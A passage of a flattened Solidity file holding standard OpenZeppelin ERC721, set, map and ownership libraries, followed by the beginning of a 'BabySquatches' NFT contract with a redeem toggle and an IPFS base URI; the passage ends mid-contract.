function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ISquatchesContract {
function ownerOf(uint256 tokenId) external view returns (address owner);
function tokensOfOwner(address _owner) external view returns(uint256[] memory);
}
// File: contracts/BabySquatches.sol
/**
* @title BabySquatches contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract BabySquatches is ERC721, Ownable {
using SafeMath for uint256;
using Strings for uint256;
bool public redeemActive;
address public squatchesContract;
mapping(uint256 => uint256) public tokenRedeemed;
ISquatchesContract public ogSquatches;
constructor() ERC721("Baby Squatches", "BSQUATCH") {
ogSquatches = ISquatchesContract(0x9Db11C5621ef21098fAbb59d662857759e0B75a3);
_setBaseURI('https://squatches.mypinata.cloud/ipfs/QmREQNqSkeULeuYkJL45NLrnecbgpfP3QvubDZJPA4CQW7/');
}
/**
* Sets the token's base URI.
*/
function setRedeemActive() external onlyOwner {
redeemActive = !redeemActive;
}
/**
* Sets the token's base URI.
*/
